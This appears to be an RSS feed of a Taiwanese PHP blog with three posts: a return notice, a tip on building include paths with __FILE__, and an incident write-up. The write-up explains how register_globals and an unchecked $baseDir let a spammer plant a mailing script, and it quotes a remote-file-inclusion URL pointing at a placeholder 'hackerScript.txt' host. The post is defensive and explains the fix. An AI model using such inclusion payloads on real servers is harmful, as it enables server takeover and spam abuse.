<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" 
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>ㄚ凱的網路生活-PHP程式設計</title>
<link>http://blog.roodo.com/darkhero/archives/cat_143402.html</link>
<description>。網路、生活、程式設計。</description>
<language>zh-tw</language>
<generator>Roodo Blog System</generator>
<copyright>All Rights Reserved</copyright>
<atom:link href="http://blog.roodo.com/darkhero/archives/cat_143402.xml" rel="self" type="application/rss+xml" />
<item>
	<title>終於回來了..^_^..</title>
	<description><![CDATA[
			終於好了...很久沒有登入過，2.0的介面清爽很多阿!~&nbsp;
		]]>
	</description>
	<content:encoded><![CDATA[
			<p>終於好了...</p><p>很久沒有登入過，2.0的介面清爽很多阿!~<br />&nbsp;</p>
		
		]]>
	</content:encoded>
	<link>http://blog.roodo.com/darkhero/archives/3110635.html</link>
	<guid>http://blog.roodo.com/darkhero/archives/3110635.html</guid>
	<category>PHP程式設計</category>
	<pubDate>Wed, 02 May 2007 15:51:10 +0800</pubDate>
</item>
<item>
	<title>善用__FILE__讓inlucde的libs更靈活..</title>
	<description><![CDATA[
			
一般來說，我們在架構一個網站的時候都會希望把 lib 固定在一個目錄之下，而通常為了分類，會規劃更多的目錄在這個目錄中。



通常來說結構會類似這樣...



 	  代碼:			  /libs

    /adodb


        /adodb.inc.php

    /smarty

        /libs


    /member

    /mail

    /init.php

    /template.php

/modules


    /members

    /post

	

這時候問題來了，若是我們在 libs 裡面的 檔案需要 require or include 另外的 libs 檔案的話，通常會需要直接給他絕對位置。

但是給絕對位置的話會由於網站可能在不同主機上得目錄不同需要修改。



這時候我會建議兩種作法。



第一種：建立一個 config.inc.php ，內含一個 Document_root 的常數設定，而設定的位置就是 網站的跟目錄的絕對位置。

這時候你只要在各個 include 的時候，使用



 	  代碼:			  include_once(Document_root.&quot;libs/init.php&quot;);


require_once(Document_root.&quot;libs/smarty/ilbs/smarty.inc.php&quot;);

	



缺點就是每次若是 config.inc.php 中的設定跟實際環境不同的時候會有問題.



第二種的方式就是用系統常數 __FILE__

__FILE__的常數會自動產生，內容是目前檔案的絕對路徑。若是被 Include 的檔案會產生的是位置，而不是 include 檔案的位置。



這樣我就可以這樣用，例如在 init.php 一律都是放在 libs 目錄下，而由其他任何一個檔案去 require ...



 	  代碼:			  include_onre(dirname(__FILE__).&quot;smarty/libs/class.smarty.php&quot;);

include_onre(dirname(__FILE__).&quot;adodb/adodb.inc.php&quot;);

	



當然，你也可以直接把 __FILE__ 用在 config.inc.php 中.



 	  代碼:			  define('Document_root',dirname(__FILE__));
		]]>
	</description>
	<content:encoded><![CDATA[
			
一般來說，我們在架構一個網站的時候都會希望把 lib 固定在一個目錄之下，而通常為了分類，會規劃更多的目錄在這個目錄中。
<br />

<br />
通常來說結構會類似這樣...
<br />

<br />
<table width="90%" cellspacing="1" cellpadding="3" border="0" align="center"><tbody><tr> 	  <td><span class="genmed"><b>代碼:</b></span></td>	</tr>	<tr>	  <td class="code">/libs
<br />
    /adodb

<br />
        /adodb.inc.php
<br />
    /smarty
<br />
        /libs
<br />

    /member
<br />
    /mail
<br />
    /init.php
<br />
    /template.php
<br />
/modules

<br />
    /members
<br />
    /post
<br />
</td>	</tr></tbody></table><span class="postbody">
<br />
這時候問題來了，若是我們在 libs 裡面的 檔案需要 require or include 另外的 libs 檔案的話，通常會需要直接給他絕對位置。
<br />
但是給絕對位置的話會由於網站可能在不同主機上得目錄不同需要修改。
<br />

<br />
這時候我會建議兩種作法。
<br />

<br />
第一種：建立一個 config.inc.php ，內含一個 Document_root 的常數設定，而設定的位置就是 網站的跟目錄的絕對位置。
<br />
這時候你只要在各個 include 的時候，使用
<br />

<br />
</span><table width="90%" cellspacing="1" cellpadding="3" border="0" align="center"><tbody><tr> 	  <td><span class="genmed"><b>代碼:</b></span></td>	</tr>	<tr>	  <td class="code">include_once(Document_root.&quot;libs/init.php&quot;);

<br />
require_once(Document_root.&quot;libs/smarty/ilbs/smarty.inc.php&quot;);
<br />
</td>	</tr></tbody></table><span class="postbody">
<br />

<br />
缺點就是每次若是 config.inc.php 中的設定跟實際環境不同的時候會有問題.
<br />

<br />
第二種的方式就是用系統常數 __FILE__
<br />
__FILE__的常數會自動產生，內容是目前檔案的絕對路徑。若是被 Include 的檔案會產生的是位置，而不是 include 檔案的位置。
<br />

<br />
這樣我就可以這樣用，例如在 init.php 一律都是放在 libs 目錄下，而由其他任何一個檔案去 require ...
<br />

<br />
</span><table width="90%" cellspacing="1" cellpadding="3" border="0" align="center"><tbody><tr> 	  <td><span class="genmed"><b>代碼:</b></span></td>	</tr>	<tr>	  <td class="code">include_onre(dirname(__FILE__).&quot;smarty/libs/class.smarty.php&quot;);
<br />
include_onre(dirname(__FILE__).&quot;adodb/adodb.inc.php&quot;);
<br />
</td>	</tr></tbody></table><span class="postbody">
<br />

<br />
當然，你也可以直接把 __FILE__ 用在 config.inc.php 中.
<br />

<br />
</span><table width="90%" cellspacing="1" cellpadding="3" border="0" align="center"><tbody><tr> 	  <td><span class="genmed"><b>代碼:</b></span></td>	</tr>	<tr>	  <td class="code">define('Document_root',dirname(__FILE__));</td></tr></tbody></table>
		<a class="acontinues" href="http://blog.roodo.com/darkhero/archives/2428461.html">(繼續閱讀...)</a>
		]]>
	</content:encoded>
	<link>http://blog.roodo.com/darkhero/archives/2428461.html</link>
	<guid>http://blog.roodo.com/darkhero/archives/2428461.html</guid>
	<category>PHP程式設計</category>
	<pubDate>Mon, 06 Nov 2006 12:12:04 +0800</pubDate>
</item>
<item>
	<title> Register_global 的危險！</title>
	<description><![CDATA[
			前兩天由於自己家中的主機怪怪得，所以做了一些檢查，赫然發現一堆不知道從那出來的 Email 再寄送，當下嚇到怕變成 SPAM 的木馬！∼

詳細檢查後發現主要是由 Register_global 開啟加上 require_once 沒有確認路徑變數的關係，導致被 spam 在 /tmp 下塞入了一個 script 自動發信！

該段語法如下 (xxxx.inc.php)：

require_once $baseDir."include_once/adodb....";

主要就是在於沒有檢查 $baseDir 的位置與內容，且開啟了 register_global 的關係，所以可以直接採用：

http://xxxx.xxxx.xxxx/include_base/init_database.php?baseDir=http://xxxx.xx.xxx/hackerScript.txt; .....等。

原來 include_base 應該是給 /index.php 來 include 後使用的，而非給 client 存取的，所以讓使用者可以直接存取造成了安全上得隱憂。

另外 $baseDir 又容由另外一個檔案進行設定，所以 init_database.php 並沒有檢查該變數的內容。

基本上這種問題若是有關閉 register_global 就不會發生囉，不過由於原來的系統上有一些程式需求要 register_global = on 才能使用，所以才會這樣設定。

剛剛查過網路上，相類似的情況可以在預設 php.ini 為 register_global = off ，而在 .htaccess 設定 PHPINI 來改變特定目錄下的特性。

anyway，現在把東西重新調整過也把被偷發的垃圾信都刪掉了，希望以後不會再次發生這樣的問題了。
		]]>
	</description>
	<content:encoded><![CDATA[
			前兩天由於自己家中的主機怪怪得，所以做了一些檢查，赫然發現一堆不知道從那出來的 Email 再寄送，當下嚇到怕變成 SPAM 的木馬！∼<br />
<br />
詳細檢查後發現主要是由 Register_global 開啟加上 require_once 沒有確認路徑變數的關係，導致被 spam 在 /tmp 下塞入了一個 script 自動發信！<br />
<br />
該段語法如下 (xxxx.inc.php)：<br />
<br />
require_once $baseDir."include_once/adodb....";<br />
<br />
主要就是在於沒有檢查 $baseDir 的位置與內容，且開啟了 register_global 的關係，所以可以直接採用：<br />
<br />
http://xxxx.xxxx.xxxx/include_base/init_database.php?baseDir=http://xxxx.xx.xxx/hackerScript.txt; .....等。<br />
<br />
原來 include_base 應該是給 /index.php 來 include 後使用的，而非給 client 存取的，所以讓使用者可以直接存取造成了安全上得隱憂。<br />
<br />
另外 $baseDir 又容由另外一個檔案進行設定，所以 init_database.php 並沒有檢查該變數的內容。<br />
<br />
基本上這種問題若是有關閉 register_global 就不會發生囉，不過由於原來的系統上有一些程式需求要 register_global = on 才能使用，所以才會這樣設定。<br />
<br />
剛剛查過網路上，相類似的情況可以在預設 php.ini 為 register_global = off ，而在 .htaccess 設定 PHPINI 來改變特定目錄下的特性。<br />
<br />
anyway，現在把東西重新調整過也把被偷發的垃圾信都刪掉了，希望以後不會再次發生這樣的問題了。
		
		]]>
	</content:encoded>
	<link>http://blog.roodo.com/darkhero/archives/1147355.html</link>
	<guid>http://blog.roodo.com/darkhero/archives/1147355.html</guid>
	<category>PHP程式設計</category>
	<pubDate>Mon, 20 Feb 2006 10:57:34 +0800</pubDate>
</item>
</channel>
</rss>